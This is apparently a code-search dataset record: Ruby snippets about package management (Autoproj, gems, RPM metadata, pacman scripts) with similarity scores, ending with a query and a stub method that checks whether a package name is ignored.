end\n if functions.include?(\"post_upgrade\")\n self.scripts[:after_upgrade] = functions[\"post_upgrade\"].join(\"\\n\")\n end\n if functions.include?(\"pre_remove\")\n self.scripts[:before_remove] = functions[\"pre_remove\"].join(\"\\n\")\n end\n if functions.include?(\"post_remove\")\n self.scripts[:after_remove] = functions[\"post_remove\"].join(\"\\n\")\n end\n FileUtils.rm(install)\n end\n\n # Note: didn't use `self.directories`.\n # Pacman doesn't really record that information, to my knowledge.\n\n end", "def package\n unless @package\n @package = package_resource_class.new(download_dest, run_context)\n tailor_package_to_platform\n end\n @package\n end", "def build_gem; end", "def install(pkg)\n package pkg do\n action :install\n end\nend", "def orogen_package(options, &block)\n package_common(:orogen, options) do |pkg|\n common_make_based_package_setup(pkg)\n yield(pkg) if block_given?\n end\nend", "def dependencies(pkg)\n pkg.resolve_optional_dependencies\n deps_rock_packages = pkg.dependencies.map do |pkg_name|\n debian_name(Autoproj.manifest.package(pkg_name).autobuild)\n end.sort\n\n pkg_osdeps = Autoproj.osdeps.resolve_os_dependencies(pkg.os_packages)\n # There are limitations regarding handling packages with native dependencies\n #\n # Currently gems need to converted into debs using gem2deb\n # These deps dependencies are updated here before uploading a package\n # \n # Generation of the debian packages from the gems can be done in postprocessing step\n # i.e. see convert_gems\n \n deps_osdeps_packages = []\n native_package_manager = Autoproj.osdeps.os_package_handler\n _, native_pkg_list = pkg_osdeps.find { |handler, _| handler == native_package_manager }\n\n deps_osdeps_packages += native_pkg_list if native_pkg_list\n\n # Update global list\n @osdeps += deps_osdeps_packages\n\n non_native_handlers = pkg_osdeps.collect do |handler, pkg_list|\n if handler != native_package_manager\n [handler, pkg_list]\n end\n end.compact\n\n non_native_handlers.each do |pkg_handler, pkg_list|\n # Convert native ruby gems package names to rock-xxx \n if pkg_handler.kind_of?(Autoproj::PackageManagers::GemManager)\n pkg_list.each do |name,version|\n @ruby_gems << [name,version]\n deps_osdeps_packages << debian_ruby_name(name)\n end\n else\n raise ArgumentError, \"cannot package #{pkg.name} as it has non-native dependencies (#{pkg_list}) -- #{pkg_handler.class} #{pkg_handler}\"\n end\n end\n\n # Remove duplicates\n @osdeps.uniq!\n @ruby_gems.uniq!\n\n # Return rock packages and osdeps\n [deps_rock_packages, deps_osdeps_packages]\n end", "def pkg_cmd; \"#{pkg_binary}\" end", "def default_packages(*names)\n pkg_set = Autoproj.current_package_set\n clear_metapackage(pkg_set.name)\n metapackage(pkg_set.name, *names)\nend", "def to_package\n package = Package.new(root)\n package.name = name\n package.version = version\n package.date = released\n package.path = loadpath\n package\n end", "def package_selected?(name)\n Autoproj.workspace.manifest.package_selected?(name, false)\nend", "def composer\n @ole.Composer\n end", "def google_package\n return nil\n end", "def installed_packages()\n\t\t\tend", "def unoconv_pname\n 'LibreOffi'\n end", "def build\n @model.custom_package? ? custom_package : standard_package\n end", "def packaging\n compiler && @compiler.class.packaging\n end", "def generate_package\n if @language_package_service.autograded?\n new_package = @language_package_service.generate_package(@question.attachment)\n @question.file = new_package if new_package.present?\n else\n templates = @language_package_service.submission_templates\n @question.imported_attachment = nil\n @question.import_job_id = nil\n @question.non_autograded_template_files = templates.map do |template|\n Course::Assessment::Question::ProgrammingTemplateFile.new(template)\n end\n end\n end", "def package_repository(package_name, desired_version, arch = nil)\n package(package_name, arch, true, false) do |pkg|\n return pkg.repoid if desired_version == pkg.version.to_s\n end\n\n nil\n end", "def setup_package(package_name, &block)\n if !block\n raise ConfigError.new, \"you must give a block to #setup_package\"\n end\n\n package_definition = Autoproj.workspace.manifest.package(package_name)\n if !package_definition\n raise ConfigError.new, \"#{package_name} is not a known package\"\n elsif package_definition.autobuild.kind_of?(Autobuild::DummyPackage)\n # Nothing to do!\n else\n package_definition.add_setup_block(block)\n end\nend", "def cmd(gem_source, component)\n [\n env_vars(gem_source, component),\n exec_order,\n \"oo::#{@impl}\",\n @json,\n @circuit\n ].join(' ')\n end", "def progname; \"Dis-organizer\"; end", "def progname; \"Dis-organizer\"; end", "def progname; \"Dis-organizer\"; end", "def postrm\n @package.get_script :postrm\n\n end", "def generate_pkg_contents\n shellout!(\"pkgsend generate #{source_dir} | pkgfmt > #{pkg_manifest_file}.1\")\n shellout!(\"pkgmogrify -DARCH=`uname -p` #{pkg_manifest_file}.1 #{pkg_metadata_file} #{transform_file} | pkgfmt > #{pkg_manifest_file}.2\")\n end", "def package(group_name, package_name, package_version)\n RubyAem::Resources::Package.new(@client, group_name, package_name, package_version)\n end", "def packages_for_a_single_project\n project.packages\n end", "def key\n \"gem-package-#{name}\"\n end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def packages\n @packages ||= []\n end", "def packages\n @packages ||= []\n end", "def resolve_package(selection)\n matching_packages = find_packages(selection)\n if matching_packages.empty?\n matching_packages = find_packages_with_directory_shortnames(selection)\n end\n\n if matching_packages.size > 1\n # If there is more than one candidate, check if there are some that are not\n # present on disk\n present = matching_packages.find_all { |pkg| File.directory?(pkg.srcdir) }\n matching_packages = present if present.size == 1\n end\n\n if matching_packages.empty?\n raise CLIInvalidArguments, \"cannot find '#{selection}' in the current autoproj installation\"\n elsif matching_packages.size > 1\n raise CLIAmbiguousArguments, \"multiple packages match '#{selection}' in the current autoproj installation: #{matching_packages.map(&:name).sort.join(', ')}\"\n else\n matching_packages.first\n end\n end", "def package(pkg)\n @pkg = pkg\n end", "def package(name, paths=[])\n Package.new(name, paths, self)\n end", "def install_gem; end", "def lib\n @obj['lib']\n end", "def user_config(key)\n Autoproj.user_config(key)\nend", "def delivery_golang_packages\n DeliveryGolang::Helpers.delivery_golang_packages(node)\n end", "def package(id)\n if pkg = ARTIFACTS[id.to_sym]\n artifact(**pkg)\n else\n die \"Unknown package ID '#{id}'\"\n end\n end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def remove_from_default(*names)\n pkg_set = Autoproj.current_package_set\n Autoproj.workspace.manifest.metapackage(pkg_set.name).packages.delete_if do |pkg|\n names.include?(pkg.name)\n end\nend", "def [](name)\n packages[name]\n end", "def package_name\n @package_name ||=\n Pathname(\"#{cartage.final_name}.tar#{cartage.tar_compression_extension}\")\n end", "def primary_file(origin_name, dist_name, component_name, packages)\n content = {\n :metadata => {\n :@xmlns => XMLNS_MAP[:common],\n \"@xmlns:rpm\" => XMLNS_MAP[:rpm],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@type => \"rpm\",\n :name => package[\"NAME\"],\n :arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :checksum => [\n {\n :@type => \"sha\",\n :@pkgid => \"YES\",\n },\n package[:generated_sha],\n ],\n :summary => package[\"SUMMARY\"],\n :description => [package[\"DESCRIPTION\"]].flatten.compact.join(\" \"),\n :packager => package[\"PACKAGER\"],\n :url => package[\"URL\"],\n :time => {\n :@file => Time.now.to_i,\n :@build => package[\"BUILDTIME\"],\n },\n :size => {\n :@archive => package[\"ARCHIVESIZE\"],\n :@package => package[:generated_size],\n :@installed => package[\"LONGSIZE\"],\n },\n :location => package[:generated_path],\n :format => {\n \"rpm:license\" => package[\"LICENSE\"],\n \"rpm:vendor\" => package[\"VENDOR\"],\n \"rpm:group\" => package[\"GROUP\"],\n \"rpm:buildhost\" => package[\"BUILDHOST\"],\n \"rpm:header-range\" => {\n :@start => package[:generated_header][:start],\n :@end => package[:generated_header][:end],\n },\n \"rpm:provides\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n pro_ver = package[\"PROVIDEVERSION\"].dup\n package[\"PROVIDENAME\"].each_with_index do |p_name, p_idx|\n item = {:@name => p_name}\n if p_flag = VERSION_FLAGS[package[\"PROVIDEFLAGS\"][p_idx]]\n p_ver, p_rel = pro_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => p_flag, :@ver => p_ver, :@rel => p_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n \"rpm:requires\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n req_ver = package[\"REQUIREVERSION\"].dup\n package[\"REQUIRENAME\"].each_with_index do |r_name, r_idx|\n item = {:@name => r_name}\n if r_flag = VERSION_FLAGS[package[\"REQUIREFLAGS\"][r_idx]]\n r_ver, r_rel = req_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => r_flag, :@ver => r_ver, :@rel => r_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"primary.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end", "def progname; \"Disorganizer\"; end", "def getPackages\n `wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-4.0.4.tar.gz`\n `wget http://nagios-plugins.org/download/nagios-plugins-2.0.tar.gz`\n `wget http://garr.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.15/nrpe-2.15.tar.gz`\n `tar zxf nagios-4.0.4.tar.gz`\n `tar zxf nagios-plugins-2.0.tar.gz`\n `tar zxf nrpe-2.15.tar.gz`\n end", "def gemspec?; end", "def getsfLma__PackageObjName\r\n\t\t\treturn \"sfLma__Package__c\"\r\n\t\tend", "def deposit_package_type\n 'http://proquest.com'\n end", "def package(name)\n if name.respond_to? :cache_path\n name\n elsif @versions[name]\n Package.for(@sources[name], @versions[name], @files[name])\n end\n end", "def clear_metapackage(name)\n meta = Autoproj.workspace.manifest.metapackage(name)\n meta.packages.clear\nend", "def debian_name(pkg)\n if pkg.kind_of?(Autoproj::RubyPackage)\n debian_ruby_name(pkg.name)\n else\n \"rock-\" + canonize(pkg.name)\n end\n end", "def autoinstPackages\n allpackages = []\n\n # the primary list of packages\n allpackages = Convert.convert(\n Builtins.union(allpackages, PackageAI.toinstall),\n :from => \"list\",\n :to => \"list <string>\"\n )\n\n # In autoinst mode, a kernel should not be available\n # in <packages>\n if Builtins.size(@kernel) == 0\n kernel_pkgs = Kernel.ComputePackages\n allpackages = Convert.convert(\n Builtins.union(allpackages, kernel_pkgs),\n :from => \"list\",\n :to => \"list <string>\"\n )\n else\n if Pkg.IsAvailable(@kernel)\n allpackages = Builtins.add(allpackages, @kernel)\n kernel_nongpl = Ops.add(@kernel, \"-nongpl\")\n\n if Pkg.IsAvailable(kernel_nongpl)\n allpackages = Builtins.add(allpackages, kernel_nongpl)\n end\n else\n Builtins.y2warning(\"%1 not available, using kernel-default\", @kernel)\n kernel_pkgs = Kernel.ComputePackages\n allpackages = Convert.convert(\n Builtins.union(allpackages, kernel_pkgs),\n :from => \"list\",\n :to => \"list <string>\"\n )\n end\n end\n\n deep_copy(allpackages)\n end", "def package\n bs_request.bs_request_actions.first.target_package\n end", "def retrieve\n if pypkg = provider.query\n pypkg[:ensure]\n else\n :absent\n end\n end", "def gems; end", "def gems; end", "def gems; end", "def install\n \n end", "def deposit_package_type\n 'https://sagepub.com'\n end", "def lib\n @data['lib']\n end" ]
[ "0.61451054", "0.56187046", "0.5592368", "0.5576653", "0.55365396", "0.5517337", "0.5505303", "0.5346553", "0.531799", "0.530357", "0.5294981", "0.5290473", "0.5280691", "0.5273758", "0.5257737", "0.5219944", "0.5219944", "0.52057517", "0.517844", "0.5165238", "0.5139926", "0.51071995", "0.5101769", "0.5101769", "0.5091648", "0.5071833", "0.50575083", "0.49860606", "0.49851006", "0.49830347", "0.4977706", "0.4967865", "0.4960173", "0.495665", "0.49520144", "0.4945481", "0.49371892", "0.49126127", "0.49120432", "0.49035034", "0.48923627", "0.48922893", "0.48904172", "0.48880666", "0.48838356", "0.48725563", "0.48628524", "0.48523828", "0.48523828", "0.48523828", "0.48440576", "0.48372033", "0.4829845", "0.48290986", "0.48285326", "0.48249757", "0.48249757", "0.48249757", "0.48249757", "0.48249757", "0.48249757", "0.48249757", "0.48197138", "0.48197138", "0.48151028", "0.48037052", "0.4783985", "0.47748515", "0.4770212", "0.4764846", "0.4761972", "0.47616306", "0.4761605", "0.4761605", "0.4761605", "0.4761605", "0.4761605", "0.4761605", "0.4761605", "0.4761605", "0.4752278", "0.4750146", "0.4746315", "0.4734888", "0.4733936", "0.472983", "0.4721694", "0.47215456", "0.47202167", "0.47160822", "0.47153696", "0.47123823", "0.47122282", "0.47019812", "0.46862423", "0.46821043", "0.46821043", "0.46821043", "0.46764097", "0.4676278", "0.4664724" ]
0.0
-1
returns true if pkgname is an autoproj meta package
def is_metapackage?(package_name) raise RuntimeError, "#{self.class} needs to overwrite is_metapackage?" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend", "def has_package?(name)\n packages.has_key?(name) || os_package_resolver.include?(name)\n end", "def check_pkg_info\n return false if options['package_url'].nil? ||\n options['package_name'].nil?\n true\nend", "def package?(package)\n # implement inside child\n end", "def installer_package?\n installer_type.blank?\n end", "def haspackage? pkgname\n\t\tif @cf.packagelist\n\t\t\treturn @cf.packagelist[pkgname]\n\t\tend\n\t\t# ---- check for direct name of binary using the path\n\t\t`which #{pkgname}` =~ /#{pkgname}/\n\tend", "def is_module_package?(name)\n filename = File.expand_path(name)\n filename =~ /.tar.gz$/\n end", "def include?(pkg)\n pkg = pkg.name unless pkg.respond_to?(:to_str)\n packages_by_name.has_key?(pkg)\n end", "def has_package_set?(name)\n !!find_package_set(name)\n end", "def package_in_flavor?(pkg, flavor_name)\n flavor_def = flavor_by_name(flavor_name)\n if pkg.respond_to?(:name)\n pkg = pkg.name\n end\n\n if flavor_def.implicit?\n pkg_set = Autoproj.manifest.find_package_definition(pkg).package_set\n if package_sets.include?(pkg_set)\n !flavor_def.removed?(pkg)\n else\n flavor_def.include?(pkg)\n end\n else\n return flavor_def.include?(pkg)\n end\n end", "def package_selected?(name)\n Autoproj.workspace.manifest.package_selected?(name, false)\nend", "def named?\n named = false\n\n if gem.present? and name.present?\n named = true\n end\n\n named\n end", "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend", "def gem_should_be_checked?(gem_name)\n gem_name.index('barkest_') == 0\n end", "def development_pkg?(pkg)\n if (r = development_regex) && pkg =~ r\n return true\n end\n\n false\n end", "def package_available?(package_name)\n refresh\n\n if @rpmdb.lookup(package_name)\n return true\n else\n if package_name =~ /^(.*)\\.(.*)$/\n pkg_name = $1\n pkg_arch = $2\n\n if matches = @rpmdb.lookup(pkg_name)\n matches.each do |m|\n return true if m.arch == pkg_arch\n end\n end\n end\n end\n\n false\n end", "def gem?\n @gem\n end", "def gemspec?\n !gemspecs.empty?\n end", "def installed?(filename)\n ( template?(filename) && find_associated(filename) ) ? true : false\n end", "def installed?\n false\n end", "def has_local_package?(package_name)\n !!locate_local_package(package_name)\n end", "def is_framework_package?(name)\n options.current_execution_environment.packages.include?(name) || options.extra_packages.include?(name)\n end", "def needed?\n topology.packages.length > 1\n end", "def has_doc_subpkg?\n @has_doc_subpkg ||= @metadata[:contents].index RPM::Spec::SPEC_DOC_SUBPACKAGE_MATCHER\n end", "def installed?(_name = nil, _version = nil)\n return false if info.nil?\n info[:installed]\n end", "def installed?\n case @spec\n when Gem::Resolver::VendorSpecification then\n true\n else\n this_spec = full_spec\n\n Gem::Specification.any? do |s|\n s == this_spec\n end\n end\n end", "def extern?\n extern_package_name && !extern_package_name.empty?\n end", "def gem?\n #return true if Dir[File.join(location, '*.gemspec')].first\n pkgname = File.basename(location)\n gemsdir = File.dirname(location)\n specdir = File.join(File.dirname(gemsdir), 'specifications')\n Dir[File.join(specdir, \"#{pkgname}.gemspec\")].first\n end", "def installer?\n @kind == :installer\n end", "def installer_AdobeUberInstaller?\n installer_type == \"AdobeUberInstaller\"\n end", "def package_name_valid?\n return false if metadata[\"sip-name\"] =~ /^\\./\n return false if metadata[\"sip-name\"] =~ /\"/\n return false if metadata[\"sip-name\"] =~ /'/\n return false if metadata[\"sip-name\"] =~ / /\n return false if metadata[\"sip-name\"].length > 32\n\n true\n end", "def meta?\r\n self.class.meta?\r\n end", "def meta_uri?\n return components.size == 1 && components[0] == 'cloudkit-meta'\n end", "def installed?(name, req = Gem::Requirement.default)\n Gem::Specification.any? { |s| s.name =~ name and req =~ s.version }\n end", "def package_is_installed?(pkg)\n succeeds?(\"dpkg-query -f='${Status}' -W #{pkg} | grep 'install ok installed' 2> /dev/null\") \n end", "def autosign?\n auto = Puppet[:autosign]\n return false if ['false', false].include?(auto)\n return true if ['true', true].include?(auto)\n\n raise ArgumentError, \"The autosign configuration '%s' must be a fully qualified file\" % auto unless auto =~ /^\\//\n if FileTest.exist?(auto)\n return auto\n else\n return false\n end\n end", "def pkg_installed?(pkg)\n cmd_if %{dpkg-query --showformat='${Essential}\\n' --show '#{pkg}' > /dev/null 2>&1}\nend", "def meta?\n @meta\n end", "def check_package(pkg)\n string = \"Looking for #{pkg}...\"\n installed = `#{ @options[:pkg_chkr] } | grep #{ pkg }`\n if installed !~ /.*#{ pkg }.*/\n installed = false\n else\n installed = true\n end #if\n \n installed\n end", "def reprepro_has_package?(debian_pkg_name, release_name, codename, arch)\n @reprepro_lock.lock\n\n begin\n reprepro_dir = File.join(deb_repository, release_name)\n cmd = \"#{reprepro_bin} -A #{arch} -T deb -V -b #{reprepro_dir} list #{codename} #{debian_pkg_name}\"\n package_info = `#{cmd}`\n if !package_info.empty?\n Packager.info \"Reprepro: #{debian_pkg_name} available for #{codename} #{arch}\"\n return true\n else\n Packager.info \"Reprepro: #{debian_pkg_name} not available for #{codename} #{arch}\"\n return false\n end\n ensure\n @reprepro_lock.unlock\n end\n end", "def is_rpm?\n return !!@name.match(/^(aix|cisco-wrlinux|el|eos|fedora|sles|redhat|redhatfips)-.*$/)\n end", "def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end", "def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end", "def has_version?\n return (@name != @metaname)\n end", "def install?\n return false unless allowed_host?\n return false unless packages_installed?\n true\n end", "def metadata?\n true\n end", "def bundled?\n Gem.loaded_specs.key?(self.class.from_gem)\n end", "def package_updated?(pkg)\n # Find an existing orig.tar.gz in the build directory\n # ignoring the current version-timestamp\n orig_file_name = Dir.glob(\"#{debian_name(pkg)}*.orig.tar.gz\")\n if orig_file_name.empty?\n return true\n elsif orig_file_name.size > 1\n Packager.warn \"Multiple version of package #{debian_name(pkg)} in #{Dir.pwd} -- you have to fix this first\"\n else\n orig_file_name = orig_file_name.first\n end\n\n # Create a local copy/backup of the current orig.tar.gz in .obs_package \n # and extract it there -- compare the actual source package\n FileUtils.cp(orig_file_name, OBS_LOCAL_TMP) \n Dir.chdir(OBS_LOCAL_TMP) do\n `tar xzf #{orig_file_name}`\n base_name = orig_file_name.sub(\".orig.tar.gz\",\"\")\n Dir.chdir(base_name) do\n diff_name = \"#{orig_file_name}.diff\"\n `diff -urN --exclude .git --exclude .svn --exclude CVS --exclude debian --exclude build #{pkg.srcdir} . > #{diff_name}`\n if File.open(diff_name).lines.any? \n return true\n end\n end\n end\n return false\n end", "def satisfied_by?(mod)\n @type == mod.type &&\n @full_name.downcase == mod.full_name.downcase &&\n !mod.version.nil? &&\n @semantic_version.cover?(mod.version)\n end", "def generated_unity3d_meta?\n return false unless extname == '.meta'\n return false unless lines.count > 1\n return lines[0].include?(\"fileFormatVersion: \")\n end", "def excluded_in_manifest?(package_name)\n package_name = validate_package_name_argument(package_name)\n manifest_exclusions.any? do |matcher|\n if (pkg_set = metapackages[matcher]) && pkg_set.include?(package_name)\n true\n else\n Regexp.new(matcher) === package_name\n end\n end\n end", "def installed?(package)\n\t\t\t\tif(!package.kind_of?(Regexp))\n\t\t\t\t\tpackage = Regexp.new(Regexp.escape(package.to_s))\n\t\t\t\tend\n\n\t\t\t\tCfruby.controller.inform('debug', \"Getting installed? status of \\\"#{package.source}\\\"\")\n\n\t\t\t\tinstalled_packages.each_value() { |packageinfo|\n\t\t\t\t\tif(package.match(packageinfo.name))\n\t\t\t\t\t\treturn(true)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn(false)\n\t\t\tend", "def have_gem? name\n Gem::Specification.find_by_name name.to_s\n rescue Gem::LoadError\n false\n end", "def prefer_indep_over_os_packages?; @prefer_indep_over_os_packages end", "def gem_exists? gem_name\n @swift.object_info @gems_container, gem_name\n end", "def needs_manifest?\n needs_external_csv? || enabled_questionings.any?(&:media_prompt?)\n end", "def gem_installed?(gem_name)\n !Gem::Specification.find_by_name(gem_name).nil?\n rescue Gem::LoadError\n false\n end", "def require_name?\n true\n end", "def installed?\n raise NotImplementedError\n end", "def r_package_is_installed(package_name)\n r_code = \"if (any(installed.packages()[,1] == '#{package_name}')) { quit('no', 0, FALSE) }; quit('no', 1, FALSE)\"\n \"echo \\\"#{r_code}\\\" | R --no-save --no-restore -q\"\nend", "def metadata?\n true\n end", "def is_gem?(name)\n return @is_gem if @is_gem\n begin\n # First, do we even have gems?\n require 'rubygems'\n # Ported over from porttown\n # Apparently Gem.activate changed from 2 args to 1 at some point, and I\n # can't find rdocs anywhere that tell me why, so this is a workaround\n begin\n Gem.activate(name)\n rescue ArgumentError\n Gem.activate(name, false)\n end\n #If we made it here, then we're a gem.\n @is_gem = true\n rescue LoadError\n @is_gem = false\n end\n return @is_gem\n end", "def library?\n sort == ::LIBRARY\n end", "def excluded?(package_name)\n package_name = validate_package_name_argument(package_name)\n\n if !explicitely_selected_in_layout?(package_name) && excluded_in_manifest?(package_name)\n true\n elsif automatic_exclusions.any? { |pkg_name,| pkg_name == package_name }\n true\n else\n false\n end\n end", "def installed?(cmd)\n !Garcon::FileHelper.which(cmd).nil?\n end", "def apply?(fname, options={})\n return true if options[:gem]\n return true if options[:from] && (\n ::Gem::Specification.find{ |s| options[:from].to_s == s.name }\n )\n return false\n end", "def exists?\n if resource[:force] == true\n false\n else\n package = client(resource).package(resource[:group], resource[:name], resource[:version])\n package.is_installed.data\n end\n end", "def check_package\n unless `file --dereference #{@fullname}` =~ /Debian binary package/i\n puts \"File does not exist or is not a Debian package!\"\n false\n end\n end", "def qualified?\n meta[:qualified].equal?(true) || meta[:qualified].is_a?(Symbol)\n end", "def installed?\n !!@installed\n end", "def rpm_installed?(name)\n system_command(\"rpm\", args: [\"-q\", \"--qf\", \"%{NAME}-%{VERSION}\", name]).success?\nend", "def installed?\n File.exist?(\"/etc/munin/plugins/#{name}\")\n end", "def dependency_met?\n true\n end", "def installed?(package)\n fail LookupFailed, 'No supported package tool found.' if tool.nil?\n\n cmd = tools[tool]\n fail LookupFailed, \"Package tool '#{cmd}' not found.\" if command?(cmd).nil?\n\n send tool, package\n end", "def has_remote_package_sets?\n each_remote_package_set.any? { true }\n end", "def installed?\n return prefix.children.length > 0\n rescue\n return false\n end", "def package_manager\n false\n end", "def installed?\n results = target_files.map {|f| is_my_file?(f) }\n return false if results.include? false\n return true\n end", "def project_model?(name)\n return Rake::application[name].respond_to?('project_model')\n end", "def meta_image?\n meta_image.present? || default_meta_image?\n end", "def production?\n return true unless top_level?\n groups = requirements.flat_map { |r| r.fetch(:groups).map(&:to_s) }\n\n case package_manager\n when \"hex\" then groups.empty? || groups.any? { |g| g.include?(\"prod\") }\n when \"npm_and_yarn\"\n groups.include?(\"optionalDependencies\") ||\n groups.include?(\"dependencies\")\n when \"composer\" then groups.include?(\"runtime\")\n when \"pip\" then groups.empty? || groups.include?(\"default\")\n when \"bundler\"\n groups.empty? ||\n groups.include?(\"runtime\") ||\n groups.include?(\"default\") ||\n groups.any? { |g| g.include?(\"prod\") }\n else true\n end\n end", "def meta_keywords?\n meta_keywords.present?\n end", "def plugin_installed?(name)\n raise \"Not Implemented\"\n end", "def package_updated?(pkginfo)\n # append underscore to make sure version definition follows\n registered_orig_tar_gz = reprepro.registered_files(debian_name(pkginfo) + \"_\",\n rock_release_name,\n \"*.orig.tar.gz\")\n orig_file_names = Dir.glob(\"#{debian_name(pkginfo)}*.orig.tar.gz\")\n orig_file_names.each do |file|\n FileUtils.rm file\n end\n\n if registered_orig_tar_gz.empty?\n Packager.info \"Apaka::Packaging::Debian::package_updated?: no existing orig.tar.gz found in reprepro\"\n else\n Packager.info \"Apaka::Packaging::Debian::package_updated?: existing orig.tar.gz found in reprepro: #{registered_orig_tar_gz}\"\n FileUtils.cp registered_orig_tar_gz.first, Dir.pwd\n end\n\n # Find an existing orig.tar.gz in the build directory\n # ignoring the current version-timestamp\n orig_file_name = Dir.glob(\"#{debian_name(pkginfo)}*.orig.tar.gz\")\n if orig_file_name.empty?\n Packager.info \"No filename found for #{debian_name(pkginfo)} (existing files: #{Dir.entries('.')} -- package requires update (regeneration of orig.tar.gz)\"\n return true\n elsif orig_file_name.size > 1\n raise RuntimeError, \"Multiple versions of package #{debian_name(pkginfo)} in #{Dir.pwd} -- you have to fix this first\"\n else\n orig_file_name = orig_file_name.first\n end\n\n !equal_pkg_content?(pkginfo, orig_file_name)\n end", "def installed?(gem_name)\n !run('list', '|', 'grep', \"' #{gem_name} '\").empty?\n end", "def detected?\n meta_yml_path = File.join(project_dir, \"META.yml\")\n meta_json_path = File.join(project_dir, \"META.json\")\n\n File.exist?(meta_yml_path) || File.exist?(meta_json_path)\n end", "def installed?\n self.class.installed?(@repo)\n end", "def check_install?\n @default_options[ :check_install ]\n end", "def gem_installed?(gem_name)\n list = `gem list #{gem_name}`\n list.split(\"\\n\").any? { |line| line.include?(gem_name) }\nend", "def go_std_package?(package)\n return false unless package\n\n # return true if package self-identifies\n return true if package[\"Standard\"]\n\n import_path = non_vendored_import_path(package)\n return false unless import_path\n\n # check different variations of the import path to match against\n # what's returned from `go list std`\n [\n import_path,\n import_path.sub(\"golang.org\", \"internal\"),\n import_path.sub(\"golang.org\", \"golang_org\"),\n ].any? do |path|\n # true if go standard packages includes the path or \"vendor/<path>\"\n go_std_packages.include?(path) || go_std_packages.include?(\"vendor/#{path}\")\n end\n end", "def version_available?(package_name, desired_version, arch = nil)\n version(package_name, arch, true, false) do |v|\n return true if desired_version == v\n end\n\n false\n end", "def update_package_metadata(options = {})\n if update_package_metadata_impl(options)\n # Reset the metadata cache.\n RailsPwnerer::Base.instance_variable_set :@packages, nil\n return true\n end\n \n return false if options[:skip_proxy]\n update_package_metadata options.merge(:skip_proxy => true)\n end", "def is_gotten\n File.exist?(package_path) && is_md5_verified\n end", "def any(name)\n return @root.xpath(\"meta/#{name}[@meta='yes']\").length > 0\n end", "def has_plugin?(name)\n true\n end", "def want_to_install?\n say \"Want to install #{name} feature?\"\n detail\n # TODO make ENTER behave as \"yes\"\n yes? \"[y/n]\"\n end", "def valid?\n gemfile? && gemfile_lock? && gem?(\"thin\") &&\n gem?(\"rake\") && config_ru?\n end", "def explicitely_selected_in_layout?(package_name)\n package_name = package_name.to_str\n normalized_layout.has_key?(package_name)\n end", "def installed?(plugin_name, version = nil)\n fetch(plugin_name).version == version or version.nil?\n rescue Plugin::NotFound\n false\n end", "def built_in_module?(name)\n true if platform_family?('suse') &&\n %w(systemd unixd http so access_compat core mpm_event mpm_prefork mpm_worker).include?(name)\n end" ]
[ "0.6996032", "0.6752778", "0.6543276", "0.64913464", "0.648392", "0.64228475", "0.6400011", "0.63917285", "0.63600683", "0.6316691", "0.62206054", "0.6178006", "0.61660355", "0.6116554", "0.60781336", "0.6073104", "0.6058404", "0.6032428", "0.5990635", "0.5982702", "0.59806186", "0.5973089", "0.5969494", "0.59445715", "0.59254736", "0.59206986", "0.59061694", "0.5898126", "0.58506864", "0.58421993", "0.5839508", "0.5820623", "0.5789215", "0.57714725", "0.5753342", "0.5742968", "0.57152236", "0.5703646", "0.56959164", "0.56806487", "0.5678983", "0.56689787", "0.56689787", "0.56561166", "0.5647919", "0.5641812", "0.56353277", "0.56271166", "0.5619637", "0.5616792", "0.5615954", "0.56114626", "0.56096816", "0.56061643", "0.5602746", "0.55929184", "0.5590669", "0.55870867", "0.5584359", "0.5577832", "0.5565031", "0.55609477", "0.5556551", "0.55515623", "0.5549188", "0.5546347", "0.55441785", "0.55339223", "0.5532989", "0.55006814", "0.5498384", "0.54981804", "0.5490625", "0.54902697", "0.5489199", "0.5485343", "0.5482894", "0.5482749", "0.54771864", "0.54753655", "0.54746324", "0.546709", "0.54666", "0.5449804", "0.544675", "0.54370874", "0.5421958", "0.54173696", "0.541465", "0.5406341", "0.5400994", "0.5387937", "0.53776354", "0.5369028", "0.53647023", "0.5362279", "0.53586596", "0.53569597", "0.5348085", "0.53401035" ]
0.69085354
1
returns true if pkgname is to be ignored
def ignored?(package_name) raise RuntimeError, "#{self.class} needs to overwrite ignored?" end
